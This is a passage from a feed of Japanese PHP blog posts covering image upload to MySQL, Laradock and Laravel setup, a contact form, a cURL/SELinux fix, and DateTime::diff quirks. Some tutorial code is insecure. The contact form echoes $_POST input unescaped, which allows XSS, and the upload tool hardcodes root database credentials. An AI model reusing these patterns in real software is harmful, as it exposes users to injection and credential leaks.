(php.ini の設定などで、メッセージの出力等は異なります。)count(null); // 0 count(1); // 1 count('abc'); // 1 count(new stdclass); // 1 count([1,2]); // 2WARNING無しでPHP5と同じ結果が出るようになりました。(NOTICEは発生してる)
当然ですが、公式では非推奨です。
多分、これやるとPHPコミュニティにすっげぇ怒られます。
バージョンアップをするときは、毎回同じ改造が必要です。
くどいようですが、本当に、
自己責任
でやりましょう。というわけで、patch簡単に作れるんですが、
作らないでおきます。他、undefinedが出るような関数
自分で定義して互換動作させてます。
mysql関数とか、ereg()関数とか。
いろいろ問題ありそうだけど…。
- 投稿日:2020-03-14T17:34:31+09:00
【PHP+MySQL】恐竜画像登録&画像表示にトライ!!!(恐竜シリーズプチ最終回)
はじめに
改良恐竜登録ツール(PHP+MYSQL版)
でも恐竜登録ツールを作成した。
しかし、何かが足りない。
恐竜登録と言えば、画像!!!前回の記事で、DBに保存した画像の表示方法をまとめた。
今回は今までの内容を結集した恐竜画像登録&画像表示プログラムを作成してみた。
1.プログラム概要
機能1.登録済み恐竜画像を表示
例)7のリンクをクリックすると、インドミナスレックスの画像を表示。
機能2.恐竜の画像登録
(1)カテゴリーを確定後、登録したい恐竜(ティラノサウルス)を選択。
登録恐竜一覧には、画像登録済みの恐竜が表示されている。(2)ファイル選択ダイアログで、登録したい画像を選択して確定ボタンを押す。
(tirano_mini.jpg(選択した画像)が表示される。)(3)登録が完了すると、登録済みの恐竜一覧にリンクが表示される。
2.実際のコード
(1)画像格納用のテーブル(tbl_dinoimg)の作成
id:恐竜のID
ext:画像ファイルのmimeタイプ
img:画像ファイルをバイナリデータにしたものcreate table tbl_dinoimg ( id integer, img mediumblob, ext varchar(10), primary key(id) );common_dino2_image.php<?php function NewPdo($dbname) { $dsn = 'mysql:dbname='.$dbname.';host=localhost:3308;charset=utf8mb4'; $user = 'root'; $password = 'root123'; $dbh = new PDO($dsn, $user, $password); return $dbh; } function Checkdino($db0,$qry0,$val1,$type1) { $result3=$db0->prepare($qry0); //パラメータをセット $result3->bindparam(1,$val1); $result3->bindparam(2,$type1); $result3->execute(); //検索結果を配列に格納する $select_data=$result3->fetch(); return $select_data; } //クエリ実行して得られる全データ(パラメータ) function get_SelectTypeData($db0,$query0,$val1) { $result_a=$db0->prepare($query0); $result_a->bindparam(1,$val1); $result_a->execute(); return $result_a; } //クエリ実行して得られる全データ function get_AllData($db0,$query0) { $result_a=$db0->prepare($query0); $result_a->execute(); return $result_a; } //$str1:検索対象文字列,$str_mark:探したい文字: 戻り値、探したい文字より前にある文字列 function get_BeforeMarkString($str1,$str_mark) { $idx0=strpos($str1, $str_mark); $retstr=substr($str1,0,$idx0); return $retstr; } //$str1:検索対象文字列,$str_mark:探したい文字、探したい文字より後にある文字列 function get_AfterMarkString($str1,$str_mark) { $idx0=strpos($str1, $str_mark); $retstr=substr($str1,$idx0+1); return $retstr; } ?>start_dino_image.php<!DOCTYPE html> <html lang="ja"> <meta charset="utf-8"> <title>恐竜画像登録</title> <body> <h1>恐竜画像登録!!</h1> <?php require "common_dino2_image.php"; //画像フォーム部分 $dbname='db_dino'; $dbh=NewPdo($dbname); $query_type0 = "SELECT DISTINCT type0 from tbl_dino"; ?> <!-- tbl_dinoに登録されている恐竜カテゴリーと一覧を表示する部分 --> <form action="start_dino_image.php" method="post"> カテゴリー: <?php $result_a=get_AllData($dbh,$query_type0); $cate0=isset($_POST['dtype01'])?htmlspecialchars($_POST['dtype01']):null; ?> <select name="dtype01" style="width: 100px"> <?php while($select_data=$result_a->fetch(PDO::FETCH_ASSOC)){ //$cate0が$select_data['type0']と等しい場合 if($cate0 == $select_data['type0']){ echo "<option selected>".$select_data['type0']."</option>"; //$cate0が$select_data['type0']と等しくない場合 }else{ echo "<option>".$select_data['type0']."</option>"; } } ?> </select> <input type="submit" name = "btn2" value="確定"> </form> <?php $dbname='db_dino'; $dbh=NewPdo($dbname); $query_select_type0 = "SELECT dname0 from tbl_dino where type0 = ?"; $result3=get_SelectTypeData($dbh,$query_select_type0,$cate0); ?> <form action="start_dino_image.php" enctype="multipart/form-data" method="post"> 対象恐竜: <select name="dname" style="width: 280px"> <?php $dino0=isset($_POST['dname'])?htmlspecialchars($_POST['dname']):null; ?> <?php while($select_data=$result3->fetch(PDO::FETCH_ASSOC)){ echo "<option>".$select_data['dname0']."</option>"; } ?> </select><br> <label>画像/動画アップロード</label> <input type="file" name="upfile"> <input type="hidden" name="btn3" value="<?=$cate0?>"> <input type="submit" value="確定"> </form> <?php //ファイルアップロードがあったとき try{ $dbname='db_dino'; $dbh=NewPdo($dbname); //$pdo = new PDO("mysql:host=127.0.0.1;dbname=mediatest;charset=utf8", $user, $pass); if (isset($_FILES['upfile']['error']) && is_int($_FILES['upfile']['error']) && $_FILES['upfile']['name'] !== ""){ //エラーチェック switch ($_FILES['upfile']['error']) { case UPLOAD_ERR_OK: // OK break; case UPLOAD_ERR_NO_FILE: // 未選択 throw new RuntimeException('ファイルが選択されていません', 400); case UPLOAD_ERR_INI_SIZE: // php.ini定義の最大サイズ超過 throw new RuntimeException('ファイルサイズが大きすぎます', 400); default: throw new RuntimeException('その他のエラーが発生しました', 500); } //拡張子を見る $tmp = pathinfo($_FILES['upfile']['name']); $extension = $tmp["extension"]; if($extension === "jpg" || $extension === "jpeg" || $extension === "JPG" || $extension === "JPEG"){ $ext1 = "image/jpeg"; } elseif($extension === "png" || $extension === "PNG"){ $ext1 = "image/png"; } else{ echo "非対応ファイルです.<br/>"; echo ("<a href=\"start_dino_image.php\">戻る</a><br/>"); exit(1); } //カテゴリーと恐竜名からidを探す $sql_select="SELECT * FROM tbl_dino WHERE dname0=? and type0=?"; $dname1=isset($_POST['dname'])?htmlspecialchars($_POST['dname']):null; $type1=isset($_POST['btn3'])?htmlspecialchars($_POST['btn3']):null; $select_data1=Checkdino($dbh,$sql_select,$dname1,$type1); $dino_id=$select_data1['id']; //画像・動画をバイナリデータにする. $raw_data = file_get_contents($_FILES['upfile']['tmp_name']); } $dbname='db_dino'; $dbh=NewPdo($dbname); $sql_del = "DELETE FROM tbl_dinoimg WHERE id=?"; //画像・動画をDBから削除 $result1=$dbh->prepare($sql_del); //パラメータをセット $result1->bindparam(1,$dino_id); $result1->execute(); //画像・動画をDBに格納. $sql_ist = "INSERT INTO tbl_dinoimg(id, img, ext) VALUES (?,?,?)"; $result1=$dbh->prepare($sql_ist); //パラメータをセット $result1->bindparam(1,$dino_id,PDO::PARAM_INT); $result1->bindparam(2,$raw_data,PDO::PARAM_LOB); $result1->bindparam(3,$ext1,PDO::PARAM_STR); $result1->execute(); echo $dino_id."<br>"; } catch(PDOException $e){ echo("<p>500 Inertnal Server Error</p>"); exit($e->getMessage()); } ?> <?php //tbl_dinoimgに登録されている恐竜idと名前を表示する。 $sql_idall="SELECT T1.id,T1.dname0,T1.type0 FROM tbl_dino T1"; $sql_idall = $sql_idall." INNER JOIN tbl_dinoimg T2 ON T1.id=T2.id ORDER BY T2.id"; $dbname='db_dino'; $dbh=NewPdo($dbname); $result1=get_AllData($dbh,$sql_idall); echo "<br><h4>登録恐竜一覧</h4><br>"; while ($row = $result1 -> fetch(PDO::FETCH_ASSOC)){ $id=$row['id']; ?> <!-- idと恐竜名とカテゴリー名 --> <a href="dino_display_image.php?id=<?=$id?>"><?=$id?></a>:<?= $row['dname0'] ?>(<?= $row['type0'] ?>) <?php echo ("\n"."<br/>"); } $dbh=null; ?> </body> </html>実はこの格納した画像を表示する事が超大変だった。
(前回の記事の部分)
よくある下記のコードでは、画面に表示されるのはどこまでも深い
黒一色の画面だったのだ。header("Content-Type: image/jpeg"); echo ($row['img']);そのうちにbase64というキーワードを見つけることになる。
1.DBから画像バイナリデータを取得
2.base64でエンコード
3.2を画像のmimeタイプで表示
という手順があることが分かったdino_display_image.php<?php if(isset($_GET['id']) && $_GET['id'] !== ""){ $id = $_GET['id']; } else{ header("Location: start_dino_image.php"); } try { require "common_dino2_image.php"; $dbname='db_dino'; $dbh = NewPdo($dbname); $sql_select = "SELECT ext,img FROM tbl_dinoimg WHERE id = ?"; $result1=$dbh->prepare($sql_select); //パラメータをセット $result1->bindparam(1,$id,PDO::PARAM_INT); $result1->execute(); $row = $result1 -> fetch(PDO::FETCH_ASSOC); //取得した画像バイナリデータをbase64で変換。 $img = base64_encode($row['img']); ?> <!-- エンコードした情報をimgタグに表示 --> <img src="data:<?php echo $row['ext'] ?>;base64,<?php echo $img; ?>"><br> <a href="start_dino_image.php">戻る</a> <?php } catch (PDOException $e) { echo("<p>500 Inertnal Server Error</p>"); exit($e->getMessage()); } ?>参考URL
PHPでbase64の使い方を知ろう!サンプルコードで速攻理解
今後に向けて
PHPでは一応恐竜シリーズの区切りがついた。
他のプログラミング言語でも、このシリーズにトライしたいと考えている。
- 投稿日:2020-03-14T17:07:35+09:00
【Laradock環境構築】Dockerインストール〜Laravelデフォルトページ表示まで②
はじめに
こちらの記事では、Laradockの環境構築として、
Dockerのインストール〜Laravelのデフォルトページ表示までを載せていきます。
※本記事はパート①の続きになります。
↓
【Laradock環境構築】Dockerインストール〜Laravelデフォルトページ表示まで①
https://qiita.com/y-aimi/items/4fc3c65f85a103685238前提条件
パート①でDockerのインストールが終わっている状態
プロジェクト用のディレクトリを作成
開発するアプリケーション用のディレクトリを作成します。
本記事ではecsiteとします。
以下のコマンドを実行。
//mkdirでディレクトリを作成。cdでecsiteのディレクトリに移動 $ mkdir ecsite $ cd ecsiteちなみに、どこでこのコマンドを実行すればいいの?という方は、
// ~ はルートディレクトリを表している $ cd ~でルートディレクトに移動すれば、下記の場所にecsiteというフォルダができるので
そちらで問題ないかと思います。リポジトリのクローンを作成
LaradockのGithubのリポジトリをクローンします。
クローンしたらlaradockディレクトリに移動します。以下のコマンドを実行。
$ git clone https://github.com/Laradock/laradock.git $ cd laradock試しに、
https://github.com/Laradock/laradock.git
をクリックしてGithubを見てみてください。ここのクローンを先程作ったecsiteのディレクトリに作っているよー
ということですね!
そして、そのディレクトリに移動したということです。Laradockの設定ファイル準備
Laradockのenv-exampleを.envとしてコピーします。
/ecsite/laradock/で以下のコマンドを実行してください。
$ cp env-example .env(cp はコピーという意味です。まんまですね。)
以下のコマンドを実行し、/ecsite/laradock/直下に.envファイルがあることを確認。
$ ls次に作成した.envファイルをVimを使って編集していきます。
(Vimを使えば、いちいちフォルダを探して、ファイルを探して開いて編集・・・
をしなくてもターミナル上で編集できるのでラクです!)/ecsite/laradock/で以下のコマンドを実行。
$ vi .envするとターミナルでこんな画面がでます。
この画面は/ecsite/laradock/.envの編集画面です。
この画面上で i を押します。
下部に-- INSERT --と編集できるモードに切り替わるので、
この状態でファイルを編集していきます。/ecsite/laradock/.envを以下のように編集してください。
### Paths ################################################# # Point to the path of your applications code on your host # 次の行を編集 APP_CODE_PATH_HOST=../ecsite # Point to where the `APP_CODE_PATH_HOST` should be in the container APP_CODE_PATH_CONTAINER=/var/wwwAPP_CODE_PATH_HOSTの値が、
Laradockで動かすウェブアプリのディレクトリのパスになります。
(つまり、Laradockで動かす時にどのフォルダを使うの?それの場所をここに書いてね。ということです。)次にescキーを押してコマンドモードに移行し、:wqを押し、
enterキーでファイルへの変更を保存し終了。
(":w"は保存、"q"は終了のVimコマンド→合わせて":wq"コマンドというわけですね)次にウェブアプリのディレクトリを作っておきます。
以下のコマンドを実行。
$ mkdir ../ecsiteこれで、現在のディレクトリは下記のようになっているかと思います。
ecsite ├── ecsite ←今作ったウェブアプリ用のディレクトリ └── laradock ←序盤にクローンしたlaradock.gitのクローンmysqlの認証方法の設定
mysqlのバージョンによっては、認証方法がデフォルトでは
なくなってしまっていることがあるので、
※変更の必要ない人は必要ないです。
(ちなみに私も変更しなくても良かったです。)/ecsite/laradock/ディレクトリ内で以下のコマンドを実行し、vimを起動。
$ vi mysql/my.cnf先程と同じように、iを押してINSERTモードに切り替え、
/ecsite/laradock/mysql/my.cnfを以下のように編集。# The MySQL Client configuration file. # # For explanations see # http://dev.mysql.com/doc/mysql/en/server-system-variables.html [mysql] [mysqld] sql-mode="STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION" character-set-server=utf8 # この行を追加(この文が元々ある人もいるかも?) default_authentication_plugin=mysql_native_passwordescキーを押してコマンドモードに移行し、
:wqを入力しenterキーでファイルの変更を保存し終了。これでmysqlの準備は終了です。
Laradockのコンテナ起動
Laradockを使ってあらかじめ用意されている、
ウェブサーバー(nginx)とデータベースサーバー(mysql)のコンテナを起動します。/ecsite/laradock/ディレクトリ内で以下のコマンドを実行します。
$ docker-compose up -d nginx mysqlそして、下記のように全部"done"になれば無事起動されています。
これで、ローカルのウェブサーバーとデータベースが起動しました!
workspaceコンテナのパッケージアップデート
つぎにworkspaceコンテナに入り、パッケージのアップデートをしておきます。
workspaceコンテナは開発に必要なツール等がインストールされているコンテナらしいです。
(Laradockのコンテナを起動すると自動的にworkspaceコンテナも起動します)以下のコマンドでパッケージをアップデート。
$ docker exec -it laradock_workspace_1 bash root@hoge:/var/www# apt-get update(root@hogeの"hoge"は個人で違うかと思います。)
Laravelのセットアップ
最後にlaravelのセットアップをします。
workspaceコンテナに入ったまま、Laravelをインストール。//こちらを参考にプロジェクト名を入れて実行 root@hoge:/var/www# composer create-project laravel/laravel [プロジェクト名] //実例① root@hoge:/var/www# composer create-project laravel/laravel ECsite //実例②:laravelのバージョンを指定する際はこちらを参考に root@hoge:/var/www# composer create-project laravel/laravel ECsite "5.8.*"動作確認
下記のURLでLaravelのデフォルトページが表示されれば環境構築成功です!
エラー多発した!!
この環境構築、個人個人によって色んなエラーが出ることが多いです。
(エラーで苦戦して、やっぱLaradock使うのやめよう...と思った人もいるはず)ちなみに、個人的にあるあるなのが、
Nginx 404not found
でデフォルトページが表示されないエラー。おそらく原因は、/ecsite/laradock/.envで編集したこちらが正しくない可能性が高いです。
例えば、ディレクトリの構成を変えていたり、置く場所を変えていたりすると、
ここも変えなければいけません。重要!
あ、エラーになってしまった!
↓
よし、これを修正したら大丈夫なはず!!
↓
...え、また同じエラー??
↓
...え、しかも何かエラー増えてる?
↓
.........わからん。
↓
............オワタ。詰んだ。となった方いませんか?
僕がまさにこの状態になって抜け出せなかったので、対処法を!!以下のコマンドで、コンテナを再起動!!
$ docker-compose stop $ docker-compose up -d nginx mysqlそしたら、エラー解消しました。
エラー箇所を正しく修正したとしても、再起動しないとエラーのままだったりするので、
困ったら再起動してみましょう。
それでもエラーが出るなら、何か修正点があるかと思いますので、
ボス戦の攻略法を探すような感じで、ググりましょう!まとめ
環境構築って一番の壁だと思います。
わからないことだらけですし、これができないとその後の開発が何もできないし...
でも、個人的にはこの環境構築に苦戦して乗り越えると、
ただ開発するだけでは得られない知識が得られるので、
良い経験ができているなーと感じてます。開発中のエラーがボス戦だとしたら、
環境構築のエラーはシークレットボス戦みたいな感じですかね!笑
- 投稿日:2020-03-14T17:01:56+09:00
Laravelのサービスプロバイダのキャッシュについてのエラー
作成したサービスプロバイダを削除した際にエラーが出る。
状況
FormComponentServiceProviderというサービスプロバイダを作成し、config/app.phpへ追加した後、不要になったため削除。
下記エラーが出る。
In ProviderRepository.php line 208: Class 'App\Providers\FormComponentServiceProvider' not found
config/app.phpでの定義を削除し、キャッシュクリアしてみるが同様のエラーが出る。
$ php artisan config:cache In Application.php line 670: Class 'App\Providers\FormComponentServiceProvider' not found原因・対処
bootstrap/cache/にキャッシュが残っていたため。
それらを削除し、composer dump-autoloadを行うことで解決。
- 投稿日:2020-03-14T13:20:27+09:00
PHP お問い合わせフォーム
IT未経験のスクール生がアウトプットします
PHPでお問い合わせフォームを作成しました。フォームの準備
フォームを作りたい場合はformタグを用います。
action属性にはデータを渡す先のURLを指定します。
method属性は値の送信の方法で、「get」と「post」のどちらかを指定します。get
ブラウザからサーバーへ、「サーバーからブラウザに固有の情報を返す」ように命令する。単にウェブサイトを閲覧する際にはこのメソッドが利用されています。
post
ブラウザからサーバーに「ある情報」を送信するためのもの。情報の登録などの際、サーバーに情報を送信するために利用されます。
今回はお問い合わせを送信するのでpostを使います。
sample.php<form action=sent.php method="post"></form>組み合わせると
sample.php<div class="main"> <div class="contact-form"> <div class="form-title">お問い合わせ</div> <form action="sent.php" method="post"></form> </div>テキストボックス
お問い合わせを入力するテキストボックスをつくるには、HTMLの input type="text" を使います。name属性は入力された値を取得するときに使う名前です。後にフォームのデータを受け取るときに使用します。タグは閉じタグが必要ないことに注意しましょう。
改行を含む文章のためのテキストボックスをつくるにはHTMLのタグを用います。
タグと同様にname属性に、入力値を取得するときに使う名前を指定します。タグは閉じタグが必要です。sample.php<input type="text" name="name"></input> <textarea name="body"></textarea>合体
sample.php<div class="main"> <div class="contact-form"> <div class="form-title">お問い合わせ</div> <form action="sent.php" method="post"> <div class="form-item">名前</div> <input type="text" name="name"></input> <div class="form-item">内容</div> <textarea name="body"></textarea> </form> </div> </div>送信ボタン
送信ボタンをつくるには input type="submit" を用います。
sample.php<input type='submit' value='送信'>value属性に指定された値がボタン上に表示されます。
フォームの値を受け取る
フォームで送信した値を受け取るには「$_POST」を使用します。
「$_POST」は連想配列になっています。[ ]の中に、とのname属性に指定した値を入れることで、それぞれの送信した値を受け取ることが出来ます。
送信先のurlがsent.phpなので、そちらのファイルで受け取ります。sent.php<div class="main"> <div class="thanks-message">お問い合わせいただきありがとうございます。</div> <div class="display-contact"> <div class="form-title">入力内容</div> <div class="form-item">■ 名前</div> <!-- 値を受け取る --> <?php echo $_POST["name"]; ?> <div class="form-item">■ 内容</div> <!-- 値を受け取る --> <?php echo $_POST["body"] ?> </div> </div>sample.phpでお問い合わせを入力して
sent.phpで受け取っています
セレクトボックス
セレクトボックスをつくるには、selectタグの中にoptionタグを並べます。
optionタグの中身が選択肢として表示されます。
タグには「$_POST」で値を受け取るためのname属性を指定します。
タグのvalue属性が送信される値です。sample.php<div class="form-item">性別</div> <select name="sex"> <option value="未選択">選択してください</option> <option value="男性">男性</option> <option value="女性">女性</option> </select>sent.php<div class="form-item">■ 性別</div> <?php echo $_POST["sex"]; ?>見えずらいですがsample.phpでセレクトボックスができています。
繰り返し処理
年齢をセレクトボックスで選択できるようにします。
5歳〜120歳まで選択できるようにします。繰り返し処理と、変数展開を使うことで簡単に作成できます。sample.php<div class="form-item">年齢</div> <select name="age"> <option value="未選択">選択してください</option> <?php for($i=5;$i<=120;$i++){ echo "<option value='{$i}'>{$i}</option>"; } ?> </select>完成コード
sample.php<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Inquiry</title> <link rel="stylesheet" type="text/css" href="stylesheet.css"> </head> <body> <div class="main"> <div class="contact-form"> <div class="form-title">お問い合わせ</div> <form method="post" action="sent.php"> <div class="form-item">名前</div> <input type="text" name="name"> <div class="form-item">性別</div> <select name="sex"> <option value="未選択">選択してください</option> <option value="男性">男性</option> <option value="女性">女性</option> </select> <div class="form-item">年齢</div> <select name="age"> <option value="未選択">選択してください</option> <?php for($i=5;$i<=120;$i++){ echo "<option value='{$i}'>{$i}</option>"; } ?> </select> <div class="form-item">内容</div> <textarea name="body"></textarea> <input type="submit" value="送信"> </form> </div> </div> </body> </html>sample.phpのページ
sent.php<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Inquiry</title> <link rel="stylesheet" type="text/css" href="stylesheet.css"> </head> <body> <div class="main"> <div class="thanks-message">お問い合わせいただきありがとうございます。</div> <div class="display-contact"> <div class="form-title">入力内容</div> <div class="form-item">■ 名前</div> <?php echo $_POST['name']; ?> <div class="form-item">■ 性別</div> <?php echo $_POST["sex"]; ?> <div class="form-item">■ 年齢</div> <?php echo $_POST['age']; ?> <div class="form-item">■ 内容</div> <?php echo $_POST['body']; ?> </div> </div> </body> </html>sent.phpのページ
css
stylesheet.css* { padding: 0; margin: 0; } li { list-style: none; } .header { height: 65px; border-bottom: 1px solid #dddddd; } .header-left { float: left; padding: 10px 60px; color: red; font-size: 30px; } .header-right { float: right; color: #808080; } .header-right li { float: left; padding: 20px 30px; border-left: 1px solid #dddddd; } .selected { color: #ED7000; } .main { min-width: 800px; } .contact-form { width: 70%; margin: 60px auto; padding: 50px; background-color: #F5F5F5; color: #333; } .form-title { text-align: center; margin-bottom: 30px; font-size: 30px; } .form-item { padding: 20px 0 10px 0; font-weight: bold; } input[type="text"] { width: 30%; border: 1px solid #ccc; border-radius: 4px; padding: 6px 12px; box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s; font-size: 14px; line-height: 1.428571429; color: #555; } input[type="submit"] { margin-top: 30px; width: 30%; border: 1px solid #5cb85c; border-radius: 4px; padding: 12px; box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); font-size: 14px; line-height: 1.428571429; color: white; background-color: blue; } textarea { width: 90%; height: 100px; border: 1px solid #ccc; border-radius: 4px; padding: 6px 12px; box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s; font-size: 14px; line-height: 1.428571429; color: #555; } .thanks-message { margin-top: 50px; text-align: center; font-size: 24px; } .display-contact { width: 70%; margin: 30px auto; padding: 50px; background-color: #F5F5F5; color: #333; } .footer { height: 200px; clear: left; border-top: 1px solid #dddddd; } .footer-left { float: left; width: 200px; padding: 30px 100px; } .footer-left li { margin-bottom: 5px; color: blue; border-bottom: 1px dotted #808080; } .like-box { float: left; padding: 30px; }ご覧いただき、ありがとうございました!。コロナウイルスには気をつけましょう!!
- 投稿日:2020-03-14T13:04:03+09:00
ブラウザ経由のPHPスクリプトでcURLが実行されなかった
概要
PHPスクリプトからWeb APIを実行するためにcURLを使おうとしていたが、下記の現象が発生した。
- cURLをシェルで直接実行したら動作する
- シェルからPHPスクリプトを実行すると動作する
- ブラウザでPHPスクリプトにアクセスすると、スクリプトは実行されるが、cURLが動作しない原因はSELinuxがhttpdからのネットワーク接続を遮断していたためであり、SELinuxの設定変更で解決できた。
現象
確認した環境
- CentOS 8.1
- Apache 2.4
- PHP 7.2
- cURL 7.61
確認用コード
test.php<?php $url=(送信先URL); $data=(json_encodeされた送信したいデータ); $ch=curl_init(); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-type: application/json')); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_exec($ch); echo 'http_code:' . curl_getinfo($ch, CURLINFO_HTTP_CODE) . "\n"; echo 'curl_errno:' . curl_errno($ch) . "\n"; curl_close($ch); ?>実行結果
シェルで
php test.php
を実行すると…http_code:200 curl_errno:0APIも正常に実行された。
ブラウザから
https://example.com/test.php
にアクセスすると…http_code:0 curl_errno:7原因
SELinuxのデフォルト設定で、httpdからのネットワーク接続が遮断されてしまっていたため。
解決方法
下記コマンドを実行するだけ!
sudo setsebool -P httpd_can_network_connect 1
参考
php - CURL permission denied via browser, works on ssh - Stack Overflow
- 投稿日:2020-03-14T11:45:12+09:00
ブラウザからPHPスクリプトにアクセスするとcURLが実行されない
概要
PHPスクリプトからWeb APIを実行させるためにcURLを使おうとしていたが、下記の現象が発生した。
- コマンドラインからcURLを直接呼び出したら動作する
- PHPスクリプトをコマンドラインからを呼び出したらcURLは動作する
- ブラウザ経由でPHPスクリプトにアクセスするとcURLが動作しない原因は、SELinuxの設定によりhttpdからのネットワーク接続が遮断されてしまっていたことだった。
環境
- CentOS 8.1
- Apache 2.4.37
- PHP 7.2.11
- cURL 7.61.1
現象
確認用コード
test.php<?php $url=(送信先URL); $data=(json_encodeされた送信データ); $ch=curl_init(); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-type: application/json')); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_exec($ch); echo 'http_code:' . curl_getinfo($ch , CURLINFO_HTTP_CODE) . "\n"; echo 'curl_errno:' . curl_errno($ch); curl_close($ch); ?>実行結果
コンソールから
php test.php
を実行すると…http_code:200 curl_errno:0当然、APIも実行される。
ブラウザから
https://example.com/test.php
にアクセスすると…http_code:0 curl_errno:7原因
SELinuxの設定で、httpdからのネットワーク接続が遮断されてしまっている。
解決方法
下記コマンドを実行するだけ!
sudo setsebool -P httpd_can_network_connect 1
※当然ですが、ファイヤウォールの設定には気を付けましょう
参考
php - CURL permission denied via browser, works on ssh - Stack Overflow
- 投稿日:2020-03-14T08:38:37+09:00
DateTime::diffの�年月とTimezoneのバグっぽく見える挙動
DateTime::diffの挙動がよくわからない - Qiita
↑の記事で知ったのだけど、UTC以外のほとんどのTimezoneだとDateTime::diffは奇妙な挙動をする。
面白かったので動作を調べていたまとめを書く。DateTime::diffとは
PHP: DateTime::diff - Manualとは、PHPの組み込み日時型である、
DateTime
とDateTimeImmutable
に実装されている、2つの時刻の間隔を算出するメソッドである。戻り値はDateInterval
という、時間(期間)を表す型で返ってくる。よくあるのは誕生日から満年齢を計算するために使ったりするユースケースだろうか。
<?php $utc = new DateTimeZone('UTC'); $birthday = new DateTime('1990-01-01', $utc); $today = new DateTime('2020-01-01', $utc); $diff = $birthday->diff($today); echo $diff->format('%R %y年 %mヶ月 %d日 %h時間 %i分 %s.%f秒'), PHP_EOL; // + 30年 0ヶ月 0日 0時間 0分 0.0秒
{過去}->diff({未来})
という順番で書くことに注意。これでプラスの経過時間が取れる。
過去と未来を逆にするとマイナスの経過時間が取れる。DateTime::diffの奇妙な挙動
この日本語の記事を読んでいる人はおそらくAsia/Tokyo (+9:00)のタイムゾーンでプログラムを書いていることだろう。
ほとんどのタイムゾーンでは、DateTime::diffを使って期間を計算すると、奇妙な挙動に悩まされるはずだ。
例としては以下のような感じ。<?php const FORMAT = '%R %y年 %mヶ月 %d日 (総日数 %a日) %h時間 %i分 %s.%f秒'; $timezones = [ new DateTimeZone('UTC'), new DateTimeZone('Asia/Tokyo'), new DateTimeZone('Europe/London'), new DateTimeZone('America/Los_Angeles'), ]; $testcases = [ // 全部2ヶ月に見えるテストケース ['2010-01-01', '2010-03-01'], ['2010-02-01', '2010-04-01'], ['2010-03-01', '2010-05-01'], ['2010-01-31 23:59:59', '2010-03-31 23:59:59'], ['2010-02-28 23:59:59', '2010-04-28 23:59:59'], ['2010-03-31 23:59:59', '2010-05-31 23:59:59'], ]; foreach ($timezones as $tz) { foreach ($testcases as [$since, $until]) { $since = new DateTime($since, $tz); $until = new DateTime($until, $tz); $diff = $since->diff($until); echo sprintf("%-20s ", $tz->getName()), $diff->format(FORMAT), PHP_EOL; } }↓結果
UTC + 0年 2ヶ月 0日 (総日数 59日) 0時間 0分 0.0秒 UTC + 0年 2ヶ月 0日 (総日数 59日) 0時間 0分 0.0秒 UTC + 0年 2ヶ月 0日 (総日数 61日) 0時間 0分 0.0秒 UTC + 0年 2ヶ月 0日 (総日数 59日) 0時間 0分 0.0秒 UTC + 0年 2ヶ月 0日 (総日数 59日) 0時間 0分 0.0秒 UTC + 0年 2ヶ月 0日 (総日数 61日) 0時間 0分 0.0秒 Asia/Tokyo + 0年 1ヶ月 28日 (総日数 59日) 0時間 0分 0.0秒 Asia/Tokyo + 0年 2ヶ月 0日 (総日数 59日) 0時間 0分 0.0秒 Asia/Tokyo + 0年 2ヶ月 2日 (総日数 61日) 0時間 0分 0.0秒 Asia/Tokyo + 0年 2ヶ月 0日 (総日数 59日) 0時間 0分 0.0秒 Asia/Tokyo + 0年 2ヶ月 0日 (総日数 59日) 0時間 0分 0.0秒 Asia/Tokyo + 0年 2ヶ月 0日 (総日数 61日) 0時間 0分 0.0秒 Europe/London + 0年 2ヶ月 0日 (総日数 59日) 0時間 0分 0.0秒 Europe/London + 0年 1ヶ月 31日 (総日数 59日) 0時間 0分 0.0秒 Europe/London + 0年 1ヶ月 30日 (総日数 61日) 0時間 0分 0.0秒 Europe/London + 0年 2ヶ月 0日 (総日数 59日) 0時間 0分 0.0秒 Europe/London + 0年 2ヶ月 0日 (総日数 59日) 0時間 0分 0.0秒 Europe/London + 0年 2ヶ月 0日 (総日数 61日) 0時間 0分 0.0秒 America/Los_Angeles + 0年 2ヶ月 0日 (総日数 59日) 0時間 0分 0.0秒 America/Los_Angeles + 0年 2ヶ月 0日 (総日数 59日) 0時間 0分 0.0秒 America/Los_Angeles + 0年 2ヶ月 0日 (総日数 61日) 0時間 0分 0.0秒 America/Los_Angeles + 0年 2ヶ月 0日 (総日数 59日) 0時間 0分 0.0秒 America/Los_Angeles + 0年 1ヶ月 28日 (総日数 59日) 0時間 0分 0.0秒 America/Los_Angeles + 0年 2ヶ月 0日 (総日数 61日) 0時間 0分 0.0秒UTCでは、全部2ヶ月ピッタリのテストケースである。しかし、他のタイムゾーンだと、何故か
1ヶ月28日
や2ヶ月2日
と判定されている箇所がある。
この挙動は本記事執筆時点のPHP最新版の7.4でも再現する。○○ヶ月ってどうやって判定するべきだと思う?
ここで、読者と認識を合わせておきたい。
1月31日の30日前は1月1日だけど、5月30日の30日前は4月30日だ。
ケース 期待値 5/30 から見た 4/30 1ヶ月前 (1ヶ月0日前) 1/31 から見た 1/1 1ヶ月前ではない (0ヶ月30日前) 一般的に、こういう風に解釈するのではなかろうか。
DateTime::diff
も、そのような挙動が期待されている。つまり、 何ヶ月経ったか あるいは 何年経ったか は、計測の基準点によって微妙に変わるのである。
これが日数であれば基準点によらず確実なことが言えるのだが…。ややこしいことに、
DateTime
やDateTimeImmutable
は、それ自体がタイムゾーンを内包するように設計されている。$since
と$until
